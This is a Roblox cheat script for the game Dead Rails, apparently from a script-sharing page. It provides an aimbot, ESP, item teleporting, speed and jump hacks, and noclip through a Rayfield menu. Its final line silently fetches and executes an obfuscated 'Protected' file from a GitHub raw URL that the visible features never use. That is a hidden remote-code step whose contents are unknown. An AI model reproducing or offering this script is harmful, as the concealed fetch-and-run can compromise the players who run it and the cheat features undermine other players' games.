
Key Required VerifiedUniversal

-- I don’t know where this came from, I just saw it somewhere. If you’re mad I skidded it, add @3ntk on Discord, and I’ll delete it!
-- https://discord.gg/dpsNFKvSwv
local success, Rayfield = pcall(function()
return loadstring(game:HttpGet('https://sirius.menu/rayfield'))()
end)
if not success or not Rayfield then
warn("Failed to load Rayfield UI Library!")
return
end
-- Create the main window
local Window = Rayfield:CreateWindow({
Name = "Satan Community | Dead Rails",
Icon = 0, -- Icon in Topbar. Can use Lucide Icons (string) or Roblox Image (number). 0 to use no icon (default).
LoadingTitle = "xd",
LoadingSubtitle = "xd",
Theme = "Ocean", -- Check https://docs.sirius.menu/rayfield/configuration/themes
DisableRayfieldPrompts = false,
DisableBuildWarnings = false, -- Prevents Rayfield from warning when the script has a version mismatch with the interface
ConfigurationSaving = {
Enabled = true,
FolderName = nil, -- Create a custom folder for your hub/game
FileName = "WerseHub Hub"
},
Discord = {
Enabled = false, -- Prompt the user to join your Discord server if their executor supports it
Invite = "noinvitelink", -- The Discord invite code, do not include discord.gg/. E.g. discord.gg/ ABCD would be ABCD
RememberJoins = true -- Set this to false to make them join the discord every time they load it up
},
KeySystem = false, -- Set this to true to use our key system
KeySettings = {
Title = "xd",
Subtitle = "xd",
Note = "Key is : xd", -- Use this to tell the user how to get a key
FileName = "Key", -- It is recommended to use something unique as other scripts using Rayfield may overwrite your key file
SaveKey = false, -- The user's key will be saved, but if you change the key, they will be unable to use your script
GrabKeyFromSite = false, -- If this is true, set Key below to the RAW site you would like Rayfield to get the key from
Key = {"Hello"} -- List of keys that will be accepted by the system, can be RAW file links (pastebin, github etc) or simple strings ("hello","key22")
}
})
print("Window created successfully!")
local RunService = game:GetService("RunService")
local Cam = workspace.CurrentCamera
local Player = game:GetService("Players").LocalPlayer
local UserInputService = game:GetService("UserInputService")
local validNPCs = {}
local raycastParams = RaycastParams.new()
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
-- FOV Ayarları
local fovCircle = Drawing.new("Circle")
fovCircle.Visible = false
fovCircle.Thickness = 1
fovCircle.Color = Color3.new(1, 1, 1)
fovCircle.Transparency = 1
fovCircle.Filled = false
local fovRadius = 100 -- Varsayılan FOV yarıçapı
local aimbotEnabled = false
local aimbotKey = Enum.UserInputType.MouseButton2 -- Mouse sağ tık
-- FOV Çemberini Güncelle
local function updateFOV()
fovCircle.Radius = fovRadius
fovCircle.Position = Cam.ViewportSize / 2
end
-- NPC Kontrolü
local function isNPC(obj)
return obj:IsA("Model")
and obj:FindFirstChild("Humanoid")
and obj.Humanoid.Health > 0
and obj:FindFirstChild("Head")
and obj:FindFirstChild("HumanoidRootPart")
and not game:GetService("Players"):GetPlayerFromCharacter(obj)
end
-- NPC'leri Güncelle
local function updateNPCs()
local tempTable = {}
for _, obj in ipairs(workspace:GetDescendants()) do
if isNPC(obj) then
tempTable[obj] = true
end
end
for i = #validNPCs, 1, -1 do
if not tempTable[validNPCs[i]] then
table.remove(validNPCs, i)
end
end
for obj in pairs(tempTable) do
if not table.find(validNPCs, obj) then
table.insert(validNPCs, obj)
end
end
end
-- Yeni NPC Eklendiğinde
workspace.DescendantAdded:Connect(function(descendant)
if isNPC(descendant) then
table.insert(validNPCs, descendant)
local humanoid = descendant:WaitForChild("Humanoid")
humanoid.Destroying:Connect(function()
for i = #validNPCs, 1, -1 do
if validNPCs[i] == descendant then
table.remove(validNPCs, i)
break
end
end
end)
end
end)
-- NPC Kaldırıldığında
workspace.DescendantRemoving:Connect(function(descendant)
if isNPC(descendant) then
for i = #validNPCs, 1, -1 do
if validNPCs[i] == descendant then
table.remove(validNPCs, i)
break
end
end
end
end)
-- Hedefin Konumunu Tahmin Et
local function predictPos(target)
local rootPart = target:FindFirstChild("HumanoidRootPart")
local head = target:FindFirstChild("Head")
if not rootPart or not head then
return head and head.Position or rootPart and rootPart.Position
end
local velocity = rootPart.Velocity
local predictionTime = 0.02
local basePosition = rootPart.Position + velocity * predictionTime
local headOffset = head.Position - rootPart.Position
return basePosition + headOffset
end
-- En Yakın Hedefi Bul
local function getTarget()
local nearest = nil
local minDistance = math.huge
local viewportCenter = Cam.ViewportSize / 2
raycastParams.FilterDescendantsInstances = {Player.Character}
for _, npc in ipairs(validNPCs) do
local predictedPos = predictPos(npc)
local screenPos, visible = Cam:WorldToViewportPoint(predictedPos)
if visible and screenPos.Z > 0 then
local distance = (Vector2.new(screenPos.X, screenPos.Y) - viewportCenter).Magnitude
if distance <= fovRadius then
local ray = workspace:Raycast(
Cam.CFrame.Position,
(predictedPos - Cam.CFrame.Position).Unit * 1000,
raycastParams
)
if ray and ray.Instance:IsDescendantOf(npc) then
if distance < minDistance then
minDistance = distance
nearest = npc
end
end
end
end
end
return nearest
end
-- Aimbot
local function aim(targetPosition)
local currentCF = Cam.CFrame
local targetDirection = (targetPosition - currentCF.Position).Unit
local smoothFactor = 0.581
local newLookVector = currentCF.LookVector:Lerp(targetDirection, smoothFactor)
Cam.CFrame = CFrame.new(currentCF.Position, currentCF.Position + newLookVector)
end
-- Aimbot Kontrolü
local lastUpdate = 0
local UPDATE_INTERVAL = 0.4
RunService.Heartbeat:Connect(function(dt)
lastUpdate = lastUpdate + dt
if lastUpdate >= UPDATE_INTERVAL then
updateNPCs()
lastUpdate = 0
end
if aimbotEnabled then
local target = getTarget()
if target then
local predictedPosition = predictPos(target)
aim(predictedPosition)
end
end
end)
-- Mouse Sağ Tık Kontrolü
UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == aimbotKey then
aimbotEnabled = true
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == aimbotKey then
aimbotEnabled = false
end
end)
-- Aimbot UI
local AimbotTab = Window:CreateTab("Aimbot", 4483362458)
-- Aimbot Toggle
local aimbotToggle = AimbotTab:CreateToggle({
Name = "Enable Aimbot",
CurrentValue = false,
Flag = "AimbotToggle",
Callback = function(Value)
aimbotEnabled = Value
fovCircle.Visible = Value
end
})
-- FOV Radius Slider
local fovSlider = AimbotTab:CreateSlider({
Name = "FOV Radius",
Range = {50, 500},
Increment = 1,
Suffix = "px",
CurrentValue = 100,
Flag = "FOVRadiusSlider",
Callback = function(Value)
fovRadius = Value
updateFOV()
end
})
-- FOV Çemberini Başlat
updateFOV()
fovCircle.Visible = aimbotEnabled
-- Existing Tabs and Functionality
local Tab = Window:CreateTab("Brings", 4483362458)
local function GetItemNames()
local items = {}
local runtimeItems = workspace:FindFirstChild("RuntimeItems")
if runtimeItems then
for _, item in ipairs(runtimeItems:GetDescendants()) do
if item:IsA("Model") then
table.insert(items, item.Name)
end
end
else
warn("RuntimeItems folder not found!")
end
return items
end
local Dropdown = Tab:CreateDropdown({
Name = "Choose item",
Options = GetItemNames(),
CurrentOption = "Select an item",
MultipleOptions = false,
Flag = "ItemDropdown",
Callback = function(selectedItem)
if type(selectedItem) == "table" then
selectedItem = selectedItem[1]
end
end,
})
local RefreshButton = Tab:CreateButton({
Name = "Refresh Items",
Callback = function()
Dropdown:Refresh(GetItemNames())
end,
})
local collectButton = Tab:CreateButton({
Name = "Collect Selected Item",
Callback = function()
local selectedItemName = Dropdown.CurrentOption
if type(selectedItemName) == "table" then
selectedItemName = selectedItemName[1]
end
if selectedItemName == "Select an item" then
warn("No item selected!")
return
end
local runtimeItems = workspace:FindFirstChild("RuntimeItems")
if not runtimeItems then
warn("RuntimeItems folder not found!")
return
end
local selectedItem
for _, item in ipairs(runtimeItems:GetDescendants()) do
if item:IsA("Model") and item.Name == selectedItemName then
selectedItem = item
break
end
end
if not selectedItem then
warn("Item not found in RuntimeItems:", selectedItemName)
return
end
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
warn("LocalPlayer not found!")
return
end
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
if not selectedItem.PrimaryPart then
warn(selectedItem.Name .. " has no PrimaryPart and cannot be moved.")
return
end
selectedItem:SetPrimaryPartCFrame(HumanoidRootPart.CFrame + Vector3.new(0, 1, 0))
print("Collected:", selectedItem.Name)
end,
})
local collectAllButton = Tab:CreateButton({
Name = "Collect All Items",
Callback = function()
local runtimeItems = workspace:FindFirstChild("RuntimeItems")
if not runtimeItems then
warn("RuntimeItems folder not found!")
return
end
local ps = game:GetService("Players").LocalPlayer
local ch = ps.Character or ps.CharacterAdded:Wait()
local HumanoidRootPart = ch:WaitForChild("HumanoidRootPart")
for _, item in ipairs(runtimeItems:GetDescendants()) do
if item:IsA("Model") then
if item.PrimaryPart then
local offset = HumanoidRootPart.CFrame.LookVector * 5
item:SetPrimaryPartCFrame(HumanoidRootPart.CFrame + offset)
else
warn(item.Name .. " has no PrimaryPart .")
end
end
end
end,
})
local EspTab = Window:CreateTab("ESP", 4483362458)
local ESPHandles = {}
local ESPEnabled = false
local function CreateESP(object, color)
if not object or not object.PrimaryPart then return end
local highlight = Instance.new("Highlight")
highlight.Name = "ESP_Highlight"
highlight.Adornee = object
highlight.FillColor = color
highlight.OutlineColor = color
highlight.Parent = object
local billboard = Instance.new("BillboardGui")
billboard.Name = "ESP_Billboard"
billboard.Adornee = object.PrimaryPart
billboard.Size = UDim2.new(0, 200, 0, 50)
billboard.StudsOffset = Vector3.new(0, 5, 0)
billboard.AlwaysOnTop = true
billboard.Parent = object
local textLabel = Instance.new("TextLabel")
textLabel.Text = object.Name
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.TextColor3 = color
textLabel.BackgroundTransparency = 1
textLabel.TextSize = 7
textLabel.Parent = billboard
ESPHandles[object] = {Highlight = highlight, Billboard = billboard}
end
local function ClearESP()
for obj, handles in pairs(ESPHandles) do
if handles.Highlight then handles.Highlight:Destroy() end
if handles.Billboard then handles.Billboard:Destroy() end
end
ESPHandles = {}
end
local function UpdateESP()
ClearESP()
-- ESP for Items
local runtimeItems = workspace:FindFirstChild("RuntimeItems")
if runtimeItems then
for _, item in ipairs(runtimeItems:GetDescendants()) do
if item:IsA("Model") then
CreateESP(item, Color3.new(1, 0, 0))
end
end
end
-- ESP mobs
local baseplates = workspace:FindFirstChild("Baseplates")
if baseplates and #baseplates:GetChildren() >= 2 then
local secondBaseplate = baseplates:GetChildren()[2]
local centerBaseplate = secondBaseplate and secondBaseplate:FindFirstChild("CenterBaseplate")
local animals = centerBaseplate and centerBaseplate:FindFirstChild("Animals")
if animals then
for _, animal in ipairs(animals:GetDescendants()) do
if animal:IsA("Model") then
CreateESP(animal, Color3.new(1, 0, 1)) -- Purple for Animals
end
end
end
end
local nightEnemies = workspace:FindFirstChild("NightEnemies")
if nightEnemies then
for _, enemy in ipairs(nightEnemies:GetDescendants()) do
if enemy:IsA("Model") then
CreateESP(enemy, Color3.new(0, 0, 1)) -- Blue for Night Enemies
end
end
end
local destroyedHouse = workspace:FindFirstChild("RandomBuildings") and workspace.RandomBuildings:FindFirstChild("DestroyedHouse")
local zombiePart = destroyedHouse and destroyedHouse:FindFirstChild("StandaloneZombiePart")
local zombies = zombiePart and zombiePart:FindFirstChild("Zombies")
if zombies then
for _, zombie in ipairs(zombies:GetChildren()) do
if zombie:IsA("Model") then
CreateESP(zombie, Color3.new(0, 1, 0)) -- Green for Zombies
end
end
end
end
local function AutoUpdateESP()
while ESPEnabled do
UpdateESP()
wait()
end
end
local espToggle = EspTab:CreateToggle({
Name = "ESP Items and Mobs",
CurrentValue = false,
Flag = "ESPAllToggle",
Callback = function(Value)
ESPEnabled = Value
if Value then
UpdateESP()
coroutine.wrap(AutoUpdateESP)()
else
ClearESP()
end
end
})
local MovementTab = Window:CreateTab("Movement", 4483362458) -- Yeni sekme oluştur
local speedHackEnabled = false
local speedValue = 16 -- Varsayılan hız değeri
local function applySpeedHack()
local player = game:GetService("Players").LocalPlayer
if player.Character and player.Character:FindFirstChild("Humanoid") then
player.Character.Humanoid.WalkSpeed = speedHackEnabled and speedValue or 16
end
end
local speedToggle = MovementTab:CreateToggle({
Name = "Speed Hack",
CurrentValue = false,
Flag = "SpeedHackToggle",
Callback = function(Value)
speedHackEnabled = Value
applySpeedHack()
end
})
local speedSlider = MovementTab:CreateSlider({
Name = "Speed Value",
Range = {16, 700}, -- Hız aralığı 16 ile 700 arasında
Increment = 1, -- 1'er artış
Suffix = " speed", -- Sonek olarak "speed" eklenir
CurrentValue = 16, -- Varsayılan hız değeri
Flag = "SpeedValueSlider",
Callback = function(Value)
speedValue = Value
applySpeedHack()
end
})
local jumpHackEnabled = false
local jumpMultiplier = 1.5 -- Varsayılan zıplama çarpanı
local function applyJumpHack()
local player = game:GetService("Players").LocalPlayer
if player.Character and player.Character:FindFirstChild("Humanoid") then
local humanoid = player.Character.Humanoid
-- JumpPower veya JumpHeight kontrolü
if humanoid:FindFirstChild("JumpPower") then
humanoid.JumpPower = jumpHackEnabled and (50 * jumpMultiplier) or 50
elseif humanoid:FindFirstChild("JumpHeight") then
humanoid.JumpHeight = jumpHackEnabled and (7.2 * jumpMultiplier) or 7.2
end
end
end
local jumpToggle = MovementTab:CreateToggle({
Name = "Jump Hack",
CurrentValue = false,
Flag = "JumpHackToggle",
Callback = function(Value)
jumpHackEnabled = Value
applyJumpHack()
end
})
local jumpSlider = MovementTab:CreateSlider({
Name = "Jump Power Multiplier",
Range = {1, 5},
Increment = 0.1,
Suffix = "x",
CurrentValue = 1.5,
Flag = "JumpMultiplierSlider",
Callback = function(Value)
jumpMultiplier = Value
applyJumpHack()
end
})
local noClipEnabled = false
local function applyNoClip()
local player = game:GetService("Players").LocalPlayer
if player.Character then
for _, part in ipairs(player.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = not noClipEnabled
end
end
end
end
game:GetService("RunService").Stepped:Connect(function()
if noClipEnabled then
applyNoClip()
end
end)
-- NoClip toggle
local noClipToggle = MovementTab:CreateToggle({
Name = "NoClip",
CurrentValue = false,
Flag = "NoClipToggle",
Callback = function(Value)
noClipEnabled = Value
end
})
local RTab = Window:CreateTab("Discord", 4483362458)
local DButton = RTab:CreateButton({
Name = "Copy Link Discord",
Callback = function()
setclipboard('https://discord.gg/dpsNFKvSwv')
print("done")
end,
})
task.wait(0.5)
loadstring(game:HttpGet("https://raw.githubusercontent.com/aa8283/i/refs/heads/main/Protected_2547730226887233.txt"))()No comments yet for this script.



![[KEYLESS] Moondiety Script | 17+ supported Games](https://scriptblox.com/images/sb/0-1753093706828.png)